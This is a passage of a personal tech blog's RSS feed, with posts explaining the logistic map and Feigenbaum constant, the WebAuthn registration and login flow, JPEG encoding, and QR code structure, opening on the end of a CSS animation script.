  CSS.paintWorklet.addModule(&#34;/js/repa-css-mesh.js&#34;);
})();

// animate
const START = +(new Date());
const MESH = document.querySelector(&#34;.content&#34;);
const animate = () =&gt; {
  const now = +(new Date());
  
  MESH.style.setProperty(&#34;--mesh-phase&#34;, (now - START) / 10000);
  requestAnimationFrame(animate);
};

animate();
&lt;/script&gt;</content>
    </item>
    
    <item>
      <title>Logistic Map</title>
      <link>https://horak.hu/posts/logistic_map/</link>
      <pubDate>Fri, 02 Dec 2022 10:22:10 +0100</pubDate>
      
      <guid>https://horak.hu/posts/logistic_map/</guid>
      <description>&lt;p&gt;There&amp;rsquo;s a simple function, which eventually can result in pure &lt;em&gt;chaos&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;x&lt;sub&gt;n+1&lt;/sub&gt; = r * x&lt;sub&gt;n&lt;/sub&gt; * (1 - x&lt;sub&gt;n&lt;/sub&gt;)&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <content>&lt;p&gt;There&amp;rsquo;s a simple function, which eventually can result in pure &lt;em&gt;chaos&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;x&lt;sub&gt;n+1&lt;/sub&gt; = r * x&lt;sub&gt;n&lt;/sub&gt; * (1 - x&lt;sub&gt;n&lt;/sub&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;rabbits&#34;&gt;&amp;ldquo;Rabbits&amp;rdquo;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x&lt;/code&gt;: current population&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r&lt;/code&gt;: growth rate&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(1-x)&lt;/code&gt;: environmental constraint&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Final&lt;/em&gt; population: the limes of this function.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;r=1.5&lt;/code&gt; =&amp;gt; 0.33

  &lt;img src=&#34;lfunc1.5.png&#34; alt=&#34;&#34;&gt;

&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r=1.8&lt;/code&gt; =&amp;gt; 0.44

  &lt;img src=&#34;lfunc1.8.png&#34; alt=&#34;&#34;&gt;

&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r=2.6&lt;/code&gt; =&amp;gt; 0.615

  &lt;img src=&#34;lfunc2.6.png&#34; alt=&#34;&#34;&gt;

&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r=3.1&lt;/code&gt; =&amp;gt; &lt;strong&gt;!&lt;/strong&gt; 2 &lt;em&gt;limes&lt;/em&gt; (oscillating) 0.558, 0.764

  &lt;img src=&#34;lfunc3.1.png&#34; alt=&#34;&#34;&gt;

&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r=3.4&lt;/code&gt; =&amp;gt; 0.452, 0.842

  &lt;img src=&#34;lfunc3.4.png&#34; alt=&#34;&#34;&gt;

&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r=3.5&lt;/code&gt; =&amp;gt; &lt;strong&gt;!&lt;/strong&gt; 4 &lt;em&gt;limes&lt;/em&gt; 0.382, 0.5, 0.826, 0.874

  &lt;img src=&#34;lfunc3.5.png&#34; alt=&#34;&#34;&gt;

&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r=3.6&lt;/code&gt; =&amp;gt; &lt;strong&gt;???&lt;/strong&gt; pRNG!

  &lt;img src=&#34;lfunc3.6.png&#34; alt=&#34;&#34;&gt;

&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r=3.83&lt;/code&gt; =&amp;gt; 0.156, 0.504, 0.957 (?)

  &lt;img src=&#34;lfunc3.83.png&#34; alt=&#34;&#34;&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-logistic-map&#34;&gt;The Logistic Map&lt;/h2&gt;
&lt;p&gt;If we visualize the limes(es) as a function of &lt;code&gt;r&lt;/code&gt;, then we get the logistic map:&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;feigenbaum.png&#34; alt=&#34;&#34;&gt;

&lt;/p&gt;
&lt;h2 id=&#34;the-feigenbaum-constant&#34;&gt;The Feigenbaum Constant&lt;/h2&gt;
&lt;p&gt;The limes of the ratio of each bifurcation interval to the next between eveny period doubling:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.669201609&amp;hellip;&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&#34;mandelbrot&#34;&gt;Mandelbrot&lt;/h2&gt;
&lt;p&gt;The equation for the Mandelbrot set is &lt;em&gt;very similar&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;z&lt;sub&gt;n+1&lt;/sub&gt; = z&lt;sub&gt;n&lt;/sub&gt;&lt;sup&gt;2&lt;/sup&gt; + c&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It turns out that ratio of the diameters of successive circles (on the reas axis) is also the Feigenbaum constant. Also the number of &amp;ldquo;oscillations&amp;rdquo; in the Mandelbrot set is the number of the branches of the bifurcation diagram&amp;hellip;&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;mandelbrot_logistic_map.png&#34; alt=&#34;&#34;&gt;


&lt;small&gt;Source: reddit/r/mathpics&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip; and it&amp;rsquo;s happen to be found &lt;em&gt;everywhere&lt;/em&gt; &amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;video src=&#34;logistic_map_mandelbrot.mp4&#34; autoplay loop&gt;&lt;/video&gt;
&lt;small&gt;Source: wikipedia&lt;/small&gt;&lt;/p&gt;
&lt;h4 id=&#34;for-the-demo&#34;&gt;For the demo&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://horak.hu/posts/logistic_map/lfunc.py&#34;&gt;lfunc.py&lt;/a&gt; - to display the logistic function&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://horak.hu/posts/logistic_map/lmap.py&#34;&gt;lmap.py&lt;/a&gt; - to display the logistic map&amp;rsquo;s bifurcation diagram&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://horak.hu/posts/logistic_map/mandel.py&#34;&gt;mandel.py&lt;/a&gt; - mandelbrot in the terminal (just for fun)&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Web Authentication API</title>
      <link>https://horak.hu/posts/webauthn/</link>
      <pubDate>Wed, 19 Oct 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/webauthn/</guid>
      <description>&lt;p&gt;WebAuthn uses public key cryptography (asymmetric) instead of passwords or SMS texts for registration, authentication and 2FA.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Protection against phishing: webauthn signatures changes with the origin, so it won&amp;rsquo;t work on &amp;ldquo;similar&amp;rdquo; webpages (with different domain name).&lt;/li&gt;
&lt;li&gt;Reduced impact of data breaches: it does not really matter if the public key is stolen.&lt;/li&gt;
&lt;li&gt;Invulnerable to password attacks: much harder to crack it by &amp;ldquo;brute force&amp;rdquo; than passwords.&lt;/li&gt;
&lt;/ul&gt;</description>
      <content>&lt;p&gt;WebAuthn uses public key cryptography (asymmetric) instead of passwords or SMS texts for registration, authentication and 2FA.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Protection against phishing: webauthn signatures changes with the origin, so it won&amp;rsquo;t work on &amp;ldquo;similar&amp;rdquo; webpages (with different domain name).&lt;/li&gt;
&lt;li&gt;Reduced impact of data breaches: it does not really matter if the public key is stolen.&lt;/li&gt;
&lt;li&gt;Invulnerable to password attacks: much harder to crack it by &amp;ldquo;brute force&amp;rdquo; than passwords.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;webauthn-browser-api&#34;&gt;WebAuthn Browser API&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;navigator.credentials.create()&lt;/code&gt; &lt;em&gt;[with &lt;code&gt;publicKey&lt;/code&gt;]&lt;/em&gt; - creates new credentials (either for registration or for associating a new key pair with an existing account)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;navigator.credentials.get()&lt;/code&gt; &lt;em&gt;[with &lt;code&gt;publicKey&lt;/code&gt;]&lt;/em&gt; - uses an existing set of credentials to authenticate to a service (either for logging in or as a form of 2FA)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: both calls require &lt;em&gt;secure context&lt;/em&gt; (https or localhost).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Basically, both calls receive a big random number (&lt;em&gt;challenge&lt;/em&gt;) from the server, and return it signed by the private key. This signature can be verified by the server using the public key (which is part of to the &lt;code&gt;create&lt;/code&gt; response).&lt;/p&gt;
&lt;h2 id=&#34;components&#34;&gt;Components&lt;/h2&gt;
&lt;p&gt;The browser (that implements the above API) sits between the following two components:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Server&lt;/strong&gt; - also referred as RP (relaying party).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authenticator&lt;/strong&gt; - where the credentials are created and stored. It might be integrated into the browser, into the operating system, or it may be a physical token (like an USB security key).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;registration&#34;&gt;Registration&lt;/h2&gt;
&lt;p&gt;
  &lt;img src=&#34;registration.png&#34; alt=&#34;WebAuthn registration - source: MDN&#34;&gt;

&lt;/p&gt;
&lt;p&gt;( step 0: Some kind of initial registration request.)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Server sends back the &lt;strong&gt;challenge, user info and relaying party Info&lt;/strong&gt; to the JS app. (Form of this communication is not part of the Web Authentication API, it can be basically anything.) The parameters then are passed to the &lt;code&gt;create()&lt;/code&gt; call which returns a promise that will resolve into a &lt;code&gt;PublicKeyCredential&lt;/code&gt; object containing &lt;code&gt;AuthenticatorAttestationResponse&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Browser validates the parameters, fills in defaults and calls &lt;code&gt;authenticatorMakeCredential()&lt;/code&gt; on the authenticator. This will become later the &lt;code&gt;AuthenticatorResponse.clientDataJSON&lt;/code&gt; which can be later verified by the server (the &lt;strong&gt;origin&lt;/strong&gt; for example).&lt;/li&gt;
&lt;li&gt;The authenticator creates new &lt;strong&gt;key pair&lt;/strong&gt; and &lt;strong&gt;attestation&lt;/strong&gt;. It typically asks for some form of user verification - fingerprint, iris scan, PIN, &amp;hellip; - to prove that the user is present and consenting to the registration. Then it creates the key pair, and stores the private part safely. The public key will be part of the response. The data is then signed with a private key that can be validated using a certificate chain.&lt;/li&gt;
&lt;li&gt;Authenticator returns data to the browser - the new public key, a globally unique credential id and other attestation is returned =&amp;gt; &lt;code&gt;attestationObject&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Final data is created and sent back to the server - the &lt;code&gt;create()&lt;/code&gt; call resolves to a &lt;code&gt;PublicKeyCredential&lt;/code&gt; object, which is then sent back to the server (using whatever form of communication available).&lt;/li&gt;
&lt;li&gt;The server validates the data and finishes the registration process:
&lt;ul&gt;
&lt;li&gt;it verifies that the challenge is the same as the one sent&lt;/li&gt;
&lt;li&gt;checks the origin&lt;/li&gt;
&lt;li&gt;validates the signature over the &lt;code&gt;clientDataHash&lt;/code&gt; and attestation using the certificate chain for that specific authenticator&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;authentication&#34;&gt;Authentication&lt;/h2&gt;
&lt;p&gt;The authentication process is very similar, the key differences are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;authentication does not require user or relaying party information&lt;/li&gt;
&lt;li&gt;it creates an &lt;strong&gt;assertion&lt;/strong&gt; using the previously created key pair (rather then an &lt;strong&gt;attestation&lt;/strong&gt; using the burned in keys of the authenticator)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
  &lt;img src=&#34;authentication.png&#34; alt=&#34;WebAuthn authentication - source: MDN&#34;&gt;

&lt;/p&gt;
&lt;p&gt;( step 0: Some kind of initial registration request.)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Server sends back the &lt;strong&gt;challenge&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Browser validates the parameters, fills in defaults and calls &lt;code&gt;authenticatorGetCredential()&lt;/code&gt; on the authenticator.&lt;/li&gt;
&lt;li&gt;The authenticator creates an &lt;strong&gt;assertion&lt;/strong&gt; using the credentials stored for the given Relaying Party ID and prompts the user to consent to the authentication.&lt;/li&gt;
&lt;li&gt;Authenticator returns data to the browser - the &lt;code&gt;authenticatorData&lt;/code&gt; and the assertion signature.&lt;/li&gt;
&lt;li&gt;Final data is created and sent back to the server - the &lt;code&gt;get()&lt;/code&gt; call resolves to a &lt;code&gt;PublicKeyCredential&lt;/code&gt; object, which is then sent back to the server (using whatever form of communication available).&lt;/li&gt;
&lt;li&gt;The server validates the data and finishes the login process:
&lt;ul&gt;
&lt;li&gt;it verifies the signature using the public key stored during the registration process&lt;/li&gt;
&lt;li&gt;checks that the Relying Party ID is the one expected&lt;/li&gt;
&lt;li&gt;checks whether the signed challenge is the same that was generated by the server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;links&#34;&gt;Links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.w3.org/TR/webauthn-2/&#34;&gt;WebAuthn Spec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://webauthn.guide/&#34;&gt;WebAuthn Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>JPEG</title>
      <link>https://horak.hu/posts/jpg/</link>
      <pubDate>Tue, 27 Sep 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/jpg/</guid>
      <description>&lt;p&gt;The most widely used digital image format, developed by Joint Photographic Experts Group. Several attempts has been made to replace it with something &amp;ldquo;better&amp;rdquo; (JPEG 2000 included), but it still helds its position. ISO/IEC and ITU-T standard, which only specifies the codec, but not the file format - the Exif and JFIF standards define the commonly used ones.&lt;/p&gt;</description>
      <content>&lt;p&gt;The most widely used digital image format, developed by Joint Photographic Experts Group. Several attempts has been made to replace it with something &amp;ldquo;better&amp;rdquo; (JPEG 2000 included), but it still helds its position. ISO/IEC and ITU-T standard, which only specifies the codec, but not the file format - the Exif and JFIF standards define the commonly used ones.&lt;/p&gt;
&lt;p&gt;8 bit per channel, 3 channels, lossy, maximum 64k x 64k pixel resolution&lt;/p&gt;
&lt;h2 id=&#34;file-format&#34;&gt;File format&lt;/h2&gt;
&lt;p&gt;A sequence of segments, each beginning with a marker. A marker is 2 bytes long, the first byte is 0xFF, the other byte indicates the type of the marker.&lt;/p&gt;
&lt;p&gt;Examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FF D8&lt;/code&gt; - SOI: start of image&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FF D9&lt;/code&gt; - EOI: end of image&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FF C0&lt;/code&gt; - SOF: start of frame (baseline DCT)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FF C2&lt;/code&gt; - SOF (progressive DCT)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FF C4&lt;/code&gt; - DHT: define Huffman tables&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FF DB&lt;/code&gt; - DQT: define quantization tables&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FF DA&lt;/code&gt; - SOS: start of scan (generally 1 for baseline, and multiple for progressive images)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FF E?&lt;/code&gt; - APP? specific data (APP0 is JFIF and APP1 is Exif for example)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FF FE&lt;/code&gt; - COMment&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;APP markers often begin with a standard or vendor name, like &lt;code&gt;JFIF\0&lt;/code&gt; for JFIF. (Several vendors might use the same APPn marker type, they are not standardised.)
ICC profiles and such can be attached too.&lt;/p&gt;
&lt;h3 id=&#34;jpeg-encoding&#34;&gt;JPEG encoding&lt;/h3&gt;
&lt;p&gt;A JPEG file can be encoded in various ways, most commonly it is done with JFIF encoding:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Image colors are converted from RGB to YCbCr.&lt;/li&gt;
&lt;li&gt;The resolution of chroma data is reduced - the human eye is less sensitive to color than brightness.&lt;/li&gt;
&lt;li&gt;The image is split into 8x8 pixel blocks, each channel undergoes DCT.&lt;/li&gt;
&lt;li&gt;The amplitudes of the frequency components are &lt;em&gt;quantized&lt;/em&gt;. Human vision is more sensitive to small variations in color/brightness over large areas - the magnitude of the high-frequency components is reduced. (This is the quality setting of the JPEG, at very low quality high frequencies are discarded completely.)&lt;/li&gt;
&lt;li&gt;The result is compressed with a variant of Huffman encoding (lossless).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;ycbcr&#34;&gt;YCbCr&lt;/h3&gt;
&lt;p&gt;RGB: red, green, blue
YCbCr:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Y: luma/luminescense - brightness (Y&amp;rsquo; is used for JPEG, which is gamma corrected Y)&lt;/li&gt;
&lt;li&gt;Cb: blue chroma - yellow-blue axis&lt;/li&gt;
&lt;li&gt;Cr: red chroma - green-red axis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;YUV is basiclly the same but while Cb/Cr is scaled to 0-255 (or 16-235), U/V is the distance from the center, they can be negative (-127 - 128 for example, or -0.5 - 0.5).&lt;/p&gt;
&lt;h3 id=&#34;chroma-subsampling&#34;&gt;Chroma subsampling&lt;/h3&gt;
&lt;p&gt;Human eye can see brightness much better than color (due to the number of receptors in the eye - 120M rods vs 6M cones), so in a lossy scenario we can compress the chromatic information much more than brightness without noticing it.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;J:a:b&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;J&lt;/code&gt; - horizontal reference sample (usually 4)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a&lt;/code&gt; - number of chromatic samples in the first row&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b&lt;/code&gt; - number of changes in chromatic samples between first and second row&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;(Long history of TV transmission encodings like SECAM, PAL and NTSC, backward compatibilty with B/W TVs, &amp;hellip;)&lt;/p&gt;
&lt;p&gt;Examples&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;4:4:4&lt;/code&gt; means no downsampling - rarely used (we can use RGB instead)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4:2:2&lt;/code&gt; 1/2 horizontal resolution, 2/3 bandwidth - some high-end digital video formats&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4:2:0&lt;/code&gt; 1/2 horizontal + 1/2 vertical resolution, 1/2 bandwith - most widely used: MPEG, &lt;strong&gt;JPEG&lt;/strong&gt;, DVD, WebP, &amp;hellip;&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
  &lt;img src=&#34;chroma_subsampling.png&#34; alt=&#34;&#34;&gt;

&lt;/p&gt;
&lt;h3 id=&#34;block-splitting&#34;&gt;Block splitting&lt;/h3&gt;
&lt;p&gt;Each channel is split into 8x8 blocks.&lt;/p&gt;
&lt;p&gt;This basically means 8x8 pixel blocks for brightness (Y), and 16x16 pixel blocks for chromatic channels (Cb/Cr).&lt;/p&gt;
&lt;h3 id=&#34;dct&#34;&gt;DCT&lt;/h3&gt;
&lt;p&gt;Discrete Cosine Transform (~DFT, but only using &lt;strong&gt;real&lt;/strong&gt; numbers)&lt;/p&gt;
&lt;p&gt;Each block from the previous step is converted to a frequency-domain representation using DCT.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;dctjpeg.png&#34; alt=&#34;&#34;&gt;

&lt;/p&gt;
&lt;h3 id=&#34;quantization&#34;&gt;Quantization&lt;/h3&gt;
&lt;p&gt;Human eye is good at seeing small differences in brightness, BUT not so good at distinguishing the exact strength of a high frequency brightness variation - this allows us to reduce the amount of information in the high frequency components.&lt;/p&gt;
&lt;p&gt;Quantization matrices are defined in the standard, basically they are controlled by the &lt;code&gt;quality&lt;/code&gt; setting of the JPEG images.&lt;/p&gt;
&lt;h3 id=&#34;entropy-coding&#34;&gt;Entropy coding&lt;/h3&gt;
&lt;p&gt;First run-lenght encoding then Huffmann cofing is used to compress the blocks, but since higher frequency components are reduced (eventually to 0), the best way to encode them in a zigzag pattern instead of line-by-line (so the RLE finds more 0s next to each other).&lt;/p&gt;
&lt;p&gt;In progressive mode the zigzag pattern goes through all the blocks for each frequency (~), in non-progressive mode it goes block-by-block.&lt;/p&gt;
&lt;h2 id=&#34;future&#34;&gt;Future&lt;/h2&gt;
&lt;p&gt;There were some attempts by the JPEG group to extend it, JPEG 2000, JPEG XT, JPEG XS, JPEG XR, some of them has special uses, some of them has patented technology, but none of them were able to replace the classic JPEG.&lt;/p&gt;
&lt;h3 id=&#34;jpeg-xl&#34;&gt;JPEG XL&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ISO standard, 2021/2022 (standardization started in 2017)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;to become the universal replacement&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Features:
&lt;ul&gt;
&lt;li&gt;improved functionality and efficiency (compared to JPEG, PNG and GIF)&lt;/li&gt;
&lt;li&gt;bigger dimensions (2^30-1 pixels on each side)&lt;/li&gt;
&lt;li&gt;up to 4099 channels (RGB, CMYK, alpha, depth, thermal, &amp;hellip;)&lt;/li&gt;
&lt;li&gt;independent tiles&lt;/li&gt;
&lt;li&gt;progressive decoding&lt;/li&gt;
&lt;li&gt;lossless option&lt;/li&gt;
&lt;li&gt;photographic/synthetic mode&lt;/li&gt;
&lt;li&gt;graceful quality degradation&lt;/li&gt;
&lt;li&gt;perceptually optimized reference encoder&lt;/li&gt;
&lt;li&gt;wide color gamut support&lt;/li&gt;
&lt;li&gt;HDR support&lt;/li&gt;
&lt;li&gt;animations&lt;/li&gt;
&lt;li&gt;fast, no need for special hardware support (decoding is faster than WebP or AVIF)&lt;/li&gt;
&lt;li&gt;royalty free with open source reference implementation&lt;/li&gt;
&lt;li&gt;ponies, unicorns&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Support:
&lt;ul&gt;
&lt;li&gt;very new - reference implementation is from August 2022 (1 months old)&lt;/li&gt;
&lt;li&gt;official: ImageMagick, Gimp, Krita, FFmpeg, &amp;hellip;&lt;/li&gt;
&lt;li&gt;unofficial: plugins for KDE/Qt, Windows and macOS&lt;/li&gt;
&lt;li&gt;browsers: Chromium* and Firefox (behind flag)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://jpegxl.info/&#34;&gt;https://jpegxl.info/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;links&#34;&gt;Links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://jpeg-sandbox.glitch.me/&#34;&gt;JPEG Sandbox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/OmarShehata/jpeg-sandbox&#34;&gt;JPEG Sandbox on github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.jezzamon.com/fourier/&#34;&gt;Interactive Fourier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://parametric.press/issue-01/unraveling-the-jpeg/&#34;&gt;Unraveling the JPEG&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>QR Code</title>
      <link>https://horak.hu/posts/qrcode/</link>
      <pubDate>Thu, 15 Sep 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/qrcode/</guid>
      <description>&lt;p&gt;Invented by Denso Wave (japanese automotive company, subsidiary of Toyota) in 1994 to track vehicle parts during manufacturing. It was designed to allow high-speed scanning. Now it is used basically everywhere.&lt;/p&gt;</description>
      <content>&lt;p&gt;Invented by Denso Wave (japanese automotive company, subsidiary of Toyota) in 1994 to track vehicle parts during manufacturing. It was designed to allow high-speed scanning. Now it is used basically everywhere.&lt;/p&gt;
&lt;h2 id=&#34;parts&#34;&gt;Parts&lt;/h2&gt;
&lt;p&gt;
  &lt;img src=&#34;qrcode.png&#34; alt=&#34;QR code parts explained&#34;&gt;

&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Finder patterns - helps the reader to detect the code&lt;/li&gt;
&lt;li&gt;Alignment pattern(s) - helps to align the QR code (especially big ones)&lt;/li&gt;
&lt;li&gt;Timing patterns - alternating black and white dots, the reader can detect the size (&lt;em&gt;version&lt;/em&gt;, 1-40) of the QR code&lt;/li&gt;
&lt;li&gt;Format information - information about the used mask, error correction level and error correction format&lt;/li&gt;
&lt;li&gt;Data&lt;/li&gt;
&lt;li&gt;Error correction data&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;data&#34;&gt;Data&lt;/h3&gt;
&lt;p&gt;Four main encondings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;numeric&lt;/strong&gt; - 3⅓ bit/char - 0-9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;alphanumeric&lt;/strong&gt; - 5½ bit/char - 0-9 + A-Z + space + some signs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;binary&lt;/strong&gt; - 8 bit/char - bytes (ISO 8859-1 according to spec, but UTF-8 is fine)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;kanji/kana&lt;/strong&gt; - 13 bit/char - Shift JIS X 0208 (better than binary/UTF-8)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Encoding modes can be mixed:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[mode1][size1][data1][mode2][size2][data2]...[EOM 0000]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The binary data is then padded to whole bytes with 0 bits, and padded to fit into the max available space using alternating &lt;code&gt;EC 11&lt;/code&gt; pattern. Error correction data is calculated, then all the data is filled in in a zigzag pattern.&lt;/p&gt;
&lt;h3 id=&#34;error-correction-data&#34;&gt;Error correction data&lt;/h3&gt;
&lt;p&gt;Reed-Solomon error correction is used - it is very wide used, for example for CDs/DVDs, &amp;hellip; You probably don&amp;rsquo;t want to know the details :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Levels / maximum data loss:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;11&lt;/code&gt; - Low - 7%&lt;/li&gt;
&lt;li&gt;&lt;code&gt;10&lt;/code&gt; - Medium - 14%&lt;/li&gt;
&lt;li&gt;&lt;code&gt;01&lt;/code&gt; - Quartile - 25%&lt;/li&gt;
&lt;li&gt;&lt;code&gt;00&lt;/code&gt; - High - 30%&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;format-info&#34;&gt;Format info&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;10 100 01100100101&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Error correction level: &lt;code&gt;10&lt;/code&gt; - medium&lt;/li&gt;
&lt;li&gt;Mask pattern: &lt;code&gt;100&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Error correction generator polinomial (you don&amp;rsquo;t wanna know)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mask&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;QR code readers work best when there are the same amount of black and white areas, and they are iterating. But real world data does not work this way, so there are 8 types of masks to apply (via XOR) and the best one is chosen.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;qr_masks.png&#34; alt=&#34;QR code mask types&#34;&gt;

&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(image source: wikipedia.org)&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&#34;learn-more&#34;&gt;Learn more&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.nayuki.io/page/creating-a-qr-code-step-by-step&#34;&gt;QR Code - Step by Step&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.thonky.com/qr-code-tutorial/&#34;&gt;QR Code Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
  &lt;img src=&#34;qrcode_logo.png&#34; alt=&#34;QR code with profile picture&#34;&gt;

&lt;/p&gt;</content>
    </item>
    
    <item>
      <title>Portable Network Graphics</title>
      <link>https://horak.hu/posts/png/</link>
      <pubDate>Fri, 19 Aug 2022 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/png/</guid>
      <description>&lt;p&gt;One of the most widely used raster image formats, that supports lossless compression, alpha transparency and is supported by all the webbrowsers. It was developed in 1996 as an improved, non-patented replacement for GIF (&lt;em&gt;&amp;ldquo;PNG&amp;rsquo;s not GIF&amp;rdquo;&lt;/em&gt;). ISO and IETF standard.&lt;/p&gt;</description>
